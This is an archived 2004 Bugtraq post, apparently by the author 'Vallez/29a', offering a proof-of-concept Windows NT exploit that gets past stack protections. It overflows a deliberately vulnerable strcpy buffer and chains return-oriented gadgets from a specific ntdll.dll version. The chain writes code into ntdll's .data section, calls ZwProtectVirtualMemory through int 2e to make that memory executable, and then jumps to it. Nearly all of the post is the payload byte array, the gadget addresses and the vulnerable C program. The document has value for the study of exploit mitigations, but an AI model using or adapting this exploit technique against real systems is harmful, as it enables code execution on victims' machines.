avoiding stackguard

vallez_at_gmail.com
Date: 10/18/04

  • Next message: Sowhat .: "Multiple AntiVirus Reserved Device Name Handling Vulnerability"
    Date: 18 Oct 2004 19:16:24 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    hi,
    im posting here a manner for avoiding stackguard. Shellcode without zeros.

    /***************************************************************/
    /*Shellcode avoiding stack protections sample--------Vallez/29a*/
    /***************************************************************/

    /*
    All we have listened about stack protections. Security products are protecting stacks of code executed there. New
    hardware too, that will not let you to execute code in a not executable memory (amd64 for example).

    Doing shellcodes avoiding this fact is not very complex, as i will show with this small sample.

    The idea is to use pieces of code of dlls for example. In this code im using pieces of code of ntdll for doing my
    purposes. How? Easy, with the stack overflow we will leave in the stack ret addresses for conduction our thread
    to code in ntdll.dll. Exactly we are using these codes in ntdll:

    -------------------------------------------------------------------------------------------

    .78462FDF: AB stosd
    .78462FE0: 5F pop edi
    .78462FE1: C20400 retn 00004

    -------------------------------------------------------------------------------------------

    .784635EC: 8BC6 mov eax,esi
    .784635EE: 5F pop edi
    .784635EF: 5E pop esi
    .784635F0: C3 retn

    -------------------------------------------------------------------------------------------

    .7849DA92: 0FC8 bswap eax
    .7849DA94: C3 retn

    -------------------------------------------------------------------------------------------

    .784680DA: CD2E int 02E
    .784680DC: C3 retn

    -------------------------------------------------------------------------------------------

    .784AFAAD: pop eax
               retn

    -------------------------------------------------------------------------------------------

    .7846BBE8: pop ecx
               retn

    -------------------------------------------------------------------------------------------

    .784633AF: sub eax,ecx
               sar eax,1
               dec eax
               retn

    -------------------------------------------------------------------------------------------

    .78466b22: sub eax,ecx
               pop edi
               pop esi
               pop ebx
               retn c

    -------------------------------------------------------------------------------------------

    .78499442: pop edx
               retn

    -------------------------------------------------------------------------------------------
    */

    /*
    This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with
    visual studio 6.0 in debug and default options for the project. (really,only open the
    .c with visual studio and F7,and yes,yes...
    */

    #include <stdio.h>

    #define DEBUGZ

    #ifdef DEBUGZ

    /*
      for debugging we have activated DEBUGZ for giving the shellcode directly to
      func(), but this shellcode could go perfectly as argv[1]

    */

    char exploit[]=
    {
    'a','a','a','a','a','a','a','a','a','a',
    'a','a','a','a','a','a','a','a','a','a',
    'a','a','a','a','a','a','a','a','a','a',
    'a','a','a','a','a','a',
    0xad,0xfa,0x4a,0x78,//here we are overwriting ret eip func() goto pop eax/retn
    0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to .data of ntdll eax = 0x90909090
    0xe0,0x2f,0x46,0x78,//goto pop edi/retn4
    0x21,0x21,0x4b,0x78,//edi = 0x78462121
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    'a','a','a','a', //trash for retn4
    0x21+4,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
    0xad,0xfa,0x4a,0x78,//goto pop eax/retn
    'a','a','a','a',
    0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to .data of ntdll
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    0x21+8,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
    0xad,0xfa,0x4a,0x78,//goto pop eax/retn
    'a','a','a','a',
    0x90,0x90,0x90,0xcc,//this nops are part of the code that we will dump to .data of ntdll
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    //start with parameters
    //now we should give execution access to .data with
    //ZwVirtualProtectMemory(0xFFFFFFFF,0x784b2121,0x000000ff,0x00000040,0x784b2121+0x70);
    0x21+0x30,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
    0xad,0xfa,0x4a,0x78,//goto pop eax/retn
    'a','a','a','a',
    0xFF,0xFF,0xFF,0xFF,//parameters for ZwVirtualProtectMemory. This process, 0xFFFFFFFF.
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    0x21+0x34,0x21,0x4b,0x78,//next part of ntdll .data where we will write our code
    0xad,0xfa,0x4a,0x78,//goto pop eax/retn
    'a','a','a','a',
    0x21+0x58,0x21,0x4b,0x78,//parameters for ZwVirtualProtectMemory. addr of variable keeping addr of mem
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    0x21+0x58,0x21,0x4b,0x78,//we must write here the addr of memory that we want to do executable
    0xad,0xfa,0x4a,0x78, //goto pop eax = 0x784b2121
    'a','a','a','a', //trash for retn 4
    0x21,0x21,0x4b,0x78, //for poping to eax
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    'a','a','a','a', //trash for edi

    //the next parameter has zeros, so we cant have it in shellcode.We will get in eax=0x00000040

    0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
    'a','a','a','a', //trash for retn 4
    0xff,0xff,0xff,0xff,
    0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xffffffbf
    0xff,0xff,0xff,0xbf,
    0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx /retn c
    0x21+0x3c,0x21,0x4b,0x78,//other addr in .data
    'a','a','a','a',
    'a','a','a','a',
    0x92,0xDA,0x49,0x78,//goto bswap eax,retn
    'a','a','a','a',
    'a','a','a','a',
    'a','a','a','a',
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    //eax=0x00000040 edi=next addr we will write 0x40,flags
    0x21+0x54,0x21,0x4b,0x78,//other addr in .data
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    'a','a','a','a',
    0x21+0x40,0x21,0x4b,0x78,//next part of ntdll .data where we will write params
    0xad,0xfa,0x4a,0x78,//goto pop eax/retn
    'a','a','a','a',
    0x21+0x50,0x21,0x4b,0x78,//old protect returned as IO param in ZwVirtualProtectMemory
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    0x21+0x38,0x21,0x4b,0x78,//other part to write,in this case the addr of the variable storing size for api
    0xad,0xfa,0x4a,0x78,//goto pop eax/retn
    'a','a','a','a',
    0x21+0x54,0x21,0x4b,0x78,//addr where size is stored,poped with pop eax
    0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4
    'a','a','a','a',//trash for poping to edi

    //now we must call int 2e with eax=0x77 and edx=0x784b2151

    0xad,0xfa,0x4a,0x78, //goto pop eax = 0xffffffff
    'a','a','a','a', //trash
    0xff,0xff,0xff,0xff,
    0xe8,0xbb,0x46,0x78, //goto pop ecx = 0xffffff88
    0xff,0xff,0xff,0x88,
    0x22,0x6b,0x46,0x78, //goto sub eax,ecx / pop edi / pop esi / pop ebx /retn c
    'a','a','a','a',
    'a','a','a','a',
    'a','a','a','a',
    0x42,0x94,0x49,0x78,//goto pop edx,retn
    'a','a','a','a',
    'a','a','a','a',
    'a','a','a','a',
    0x21+0x30,0x21,0x4b,0x78, //pop to edx address of params for ZwVirtualProtectMemory
    0x92,0xDA,0x49,0x78,//goto bswap eax,retn
    //eax=0x77(service id) edx->params
    0xDA,0x80,0x46,0x78, //goto int 2e,retn

    0x21,0x21,0x4b,0x78, //we have copied all the code that we need,so we jump that code in .data of ntdll.

    };
    char * pexploit[2] = {exploit,exploit};
    #endif

    void func(int argc,char ** argv)
    {
        char buffer[30];

        if(argc>1)
        {
            strcpy(buffer,argv[1]);
        }
    }

    void main(int argc,char ** argv)
    {

    #ifndef DEBUGZ
        func(argc,argv);
    #else
        func(argc,pexploit);
    #endif
    }

    /*
     
     This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.
     Its only a Proof of concept about how shellcodes could avoid stack protections.

     This shellcode is not executed in the stack, however it has in the stack the useful values for
     conducting the thread to ntdll code and forcing this code to write executable code to
     ntdll .data section. If today not, in the future all not executable memory will be protected
     against execution, so we call ZwProtectVirtualMemory for setting .data zone where we have writed
     as executable (for this purpose we will dump parameters of the api to .data,in other part,
     and then pointing edx to that parameters and calling int 2e with eax=0x77,the service id.
    */

    /*

    Parts of ntdll:

    -------------------------------------------------------------------------------------------

    .78462FDF: AB stosd
    .78462FE0: 5F pop edi
    .78462FE1: C20400 retn 00004

    -------------------------------------------------------------------------------------------

    .784635EC: 8BC6 mov eax,esi
    .784635EE: 5F pop edi
    .784635EF: 5E pop esi
    .784635F0: C3 retn

    -------------------------------------------------------------------------------------------

    .7849DA92: 0FC8 bswap eax
    .7849DA94: C3 retn

    -------------------------------------------------------------------------------------------

    .784680DA: CD2E int 02E
    .784680DC: C3 retn

    -------------------------------------------------------------------------------------------

    .784AFAAD: pop eax
               retn

    -------------------------------------------------------------------------------------------

    .7846BBE8: pop ecx
               retn

    -------------------------------------------------------------------------------------------

    .784633AF: sub eax,ecx
               sar eax,1
               dec eax
               retn

    -------------------------------------------------------------------------------------------

    .78466b22: sub eax,ecx
               pop edi
               pop esi
               pop ebx
               retn c

    -------------------------------------------------------------------------------------------

    .78499442: pop edx
               retn

    -------------------------------------------------------------------------------------------

    .data(ntdll.dll) 784b0000 --- For copying the code there.

      Number Name VirtSize RVA PhysSize Offset Flag-
         1 .text 00045CAB 00001000 00045E00 00000400 60000020
         2 ECODE 00004371 00047000 00004400 00046200 60000020
         3 PAGE 00003FEB 0004C000 00004000 0004A600 60000020
         4 .data 00002D84 00050000 00002200 0004E600 C0000040
         5 .rsrc 0002D000 00053000 0002C400 00050800 40000040
         6 .reloc 00002010 00080000 00002200 0007CC00 42000040

    -------------------------------------------------------------------------------------------

    Info of my ntdll:
    ----------------

    Version: 5.0.2195.6899
     
     Count of sections 6 ¦ Machine intel386
     Symbol table 00000000[00000000] ¦ Wed Mar 24 03:17:14 2004
     Size of optional header 00E0 ¦ Magic optional header 010B
     Linker version 5.12 ¦ OS version 5.00
     Image version 5.00 ¦ Subsystem version 4.00
     Entry point 00000000 ¦ Size of code 0004E200
     Size of init data 00030800 ¦ Size of uninit data 00000000
     Size of image 00083000 ¦ Size of header 00000400
     Base of code 00001000 ¦ Base of data 0004E000
     Image base 78460000 ¦ Subsystem Windows char
     Section alignment 00001000 ¦ File alignment 00000200
     Stack 00040000/00001000 ¦ Heap 00100000/00001000
     Checksum 00082A23 ¦ Number of directories 16

    */


  • Next message: Sowhat .: "Multiple AntiVirus Reserved Device Name Handling Vulnerability"

    Relevant Pages

    • [EXPL] Avoiding Stackguard and Other Stack Protection - Proof of Concept Code
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... this code pieces of ntdll were used for this purpose. ... 0xDF,0x2F,0x46,0x78,//goto stosd/pop edi/retn 4 ...
      (Securiteam)
    • [EXPL] Avoiding Stack Protections Shellcode Example
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... systems that use stack protection. ... will be using pieces of code of ntdll for serving our purposes. ... executing our thread to code in ntdll.dll ...
      (Securiteam)
    • Re: Crash: HEAP: Free Heap block modified...
      ... reading the stack trace backwards. ... NTDLL! ... operator new(unsigned int 68, const char * 0x5f4d096c THIS_FILE, int ... another window from OnPaint? ...
      (microsoft.public.vc.mfc)
    • Re: avoiding stackguard
      ... Vallez appears to be using "stackguard" generically to refer to stack ... >All we have listened about stack protections. ... In this code im using pieces of code of ntdll for doing my ...
      (Bugtraq)
    • Re: Strange error message.
      ... When it blows up walk up the call stack and see where things are falling ... Looks like an invalid parameter is causing an Exception somewhere. ... I am running my program in debug mode. ... NTDLL! ...
      (microsoft.public.vc.mfc)